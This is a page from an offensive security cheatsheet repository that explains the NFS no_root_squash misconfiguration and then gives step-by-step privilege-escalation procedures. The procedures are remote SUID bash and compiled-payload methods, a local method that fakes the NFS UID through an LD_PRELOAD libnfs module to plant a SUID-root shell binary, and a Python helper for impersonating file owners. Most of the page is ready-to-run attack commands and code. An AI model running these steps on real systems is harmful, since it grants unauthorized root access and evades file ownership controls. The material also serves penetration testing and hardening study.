daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

nfs-no-root-squash-misconfiguration-pe.md (6898B)


      1 ---
      2 title: "NFS No Root Squash Misconfiguration Privilege Escalation"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/interesting-files-permissions/nfs-no_root_squash-misconfiguration-pe.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/interesting-files-permissions/nfs-no_root_squash-misconfiguration-pe.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # NFS No Root Squash Misconfiguration Privilege Escalation
     14 
     15 ## Squashing Basic Info
     16 
     17 With NFS AUTH_SYS/AUTH_UNIX, the server bases file-permission checks on the `uid` and `gid` supplied in each RPC request. Other security flavors, such as Kerberos, use different credentials, and the server can map numeric credentials before checking permissions.<sup>[[4]](#references)[[5]](#references)</sup>
     18 
     19 - **`all_squash`**: Maps every UID and GID to the anonymous account, which defaults to `nobody` (65534) on Linux. `no_all_squash` is the default for non-root requests.<sup>[[4]](#references)</sup>
     20 - **`root_squash`**: This is the default on Linux and maps requests with UID/GID 0 (root) to the anonymous account; other UIDs and GIDs are not squashed.<sup>[[4]](#references)</sup>
     21 - **`no_root_squash`**: Disables root squashing, so requests with UID/GID 0 can be evaluated as root on the server.<sup>[[4]](#references)</sup>
     22 
     23 If an allowed client can mount a writable export in **`/etc/exports`** configured with **`no_root_squash`**, its UID/GID 0 requests can write there as the server's root user.<sup>[[4]](#references)</sup>
     24 
     25 For more information about **NFS** check:
     26 
     27 [Nfs Service Pentesting](/hacktricks/network-services-pentesting/nfs-service-pentesting)
     28 
     29 ## Privilege Escalation
     30 
     31 ### Remote Exploit
     32 
     33 Option 1 using bash:
     34 - On an allowed client, mount a writable export as root, copy **`/bin/bash`** into it, set its **SUID** bit, and execute it from a victim mount that does not use `nosuid`.<sup>[[2]](#references)[[4]](#references)</sup>
     35     - For the uploaded file to remain owned by root, the server must use **`no_root_squash`**. If root is squashed, a SUID binary for another account is possible only when the client can legitimately create or own it with that account's numeric UID/GID.<sup>[[4]](#references)</sup>
     36 
     37 ```bash
     38 #Attacker, as root user
     39 mkdir /tmp/pe
     40 mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
     41 cd /tmp/pe
     42 cp /bin/bash .
     43 chmod +s bash
     44 
     45 #Victim
     46 cd <SHAREDD_FOLDER>
     47 ./bash -p #ROOT shell
     48 ```
     49 
     50 Option 2 using compiled C code:
     51 - Mount the directory from an allowed client, copy in a compiled payload that abuses SUID permissions, set its **SUID** bit, and execute it from the victim (see some [C SUID payloads](/hacktricks/linux-hardening/processes-crontab-systemd-dbus/payloads-to-execute#c)).
     52     - Same restrictions as before
     53 
     54 ```bash
     55 #Attacker, as root user
     56 gcc payload.c -o payload
     57 mkdir /tmp/pe
     58 mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
     59 cd /tmp/pe
     60 cp /tmp/payload .
     61 chmod +s payload
     62 
     63 #Victim
     64 cd <SHAREDD_FOLDER>
     65 ./payload #ROOT shell
     66 ```
     67 
     68 ### Local Exploit
     69 
     70 > [!TIP]
     71 > Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\
     72 > The following trick is useful when `/etc/exports` restricts the export to the victim's IP: the remote client cannot mount it, but the local technique can operate through the share already mounted on the allowed host.<sup>[[2]](#references)</sup>\
     73 > For this unprivileged libnfs method, the export in **`/etc/exports`** must use the `insecure` flag so the process can use a non-reserved source port; `secure` is the default, although a process able to bind a reserved port does not need this option.<sup>[[1]](#references)[[4]](#references)</sup>
     74 
     75 ### Basic Information
     76 
     77 An NFSv3 AUTH_UNIX client includes its effective UID, GID, and groups in each call, and the server uses them for permission checks. This local technique abuses that model by forging the RPC credentials through [libnfs](https://github.com/sahlberg/libnfs); its preload module supports overriding the UID/GID in the NFS context.<sup>[[1]](#references)[[2]](#references)[[3]](#references)[[5]](#references)</sup>
     78 
     79 #### Compiling the Library
     80 
     81 The libnfs example may require adjustments for the target kernel; the walkthrough used here specifically notes commenting out the fallocate syscalls before compiling the preload module.<sup>[[1]](#references)[[2]](#references)</sup>
     82 
     83 ```bash
     84 ./bootstrap
     85 ./configure
     86 make
     87 gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
     88 ```
     89 
     90 #### Conducting the Exploit
     91 
     92 The example creates a small C helper that launches a shell, then places it on the share and uses `ld_nfs.so` with UID 0 in the NFS context to make it SUID-root.<sup>[[1]](#references)[[2]](#references)</sup>
     93 
     94 1. **Compile the exploit code:**
     95 
     96 ```bash
     97 cat pwn.c
     98 int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
     99 gcc pwn.c -o a.out
    100 ```
    101 
    102 2. **Place the exploit on the share and modify its permissions by faking the UID**.<sup>[[1]](#references)[[2]](#references)</sup>
    103 
    104 ```bash
    105 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
    106 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
    107 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
    108 LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
    109 ```
    110 
    111 3. **Execute the exploit to gain root privileges**.<sup>[[2]](#references)</sup>
    112 
    113 ```bash
    114 /mnt/share/a.out
    115 #root
    116 ```
    117 
    118 ### Bonus: NFShell for Stealthy File Access
    119 
    120 Once root access is obtained, this `nfsh.py` pattern sets the effective UID to the target file's UID before running a command, allowing access without recursively changing ownership.<sup>[[2]](#references)</sup>
    121 
    122 ```python
    123 #!/usr/bin/env python
    124 # script from https://www.errno.fr/nfs_privesc.html
    125 import sys
    126 import os
    127 
    128 def get_file_uid(filepath):
    129     try:
    130         uid = os.stat(filepath).st_uid
    131     except OSError as e:
    132         return get_file_uid(os.path.dirname(filepath))
    133     return uid
    134 
    135 filepath = sys.argv[-1]
    136 uid = get_file_uid(filepath)
    137 os.setreuid(uid, uid)
    138 os.system(' '.join(sys.argv[1:]))
    139 ```
    140 
    141 Run like:
    142 
    143 ```bash
    144 # ll ./mount/
    145 drwxr-x---  6 1008 1009 1024 Apr  5  2017 9.3_old
    146 ```
    147 
    148 ## References
    149 
    150 - [1] [lnv42/libnfs](https://github.com/lnv42/libnfs)
    151 - [2] [A tale of a lesser known NFS privesc](https://www.errno.fr/nfs_privesc.html)
    152 - [3] [sahlberg/libnfs](https://github.com/sahlberg/libnfs)
    153 - [4] [exports(5) — Linux manual page](https://man7.org/linux/man-pages/man5/exports.5.html)
    154 - [5] [RFC 1813: NFS Version 3 Protocol Specification](https://datatracker.ietf.org/doc/html/rfc1813)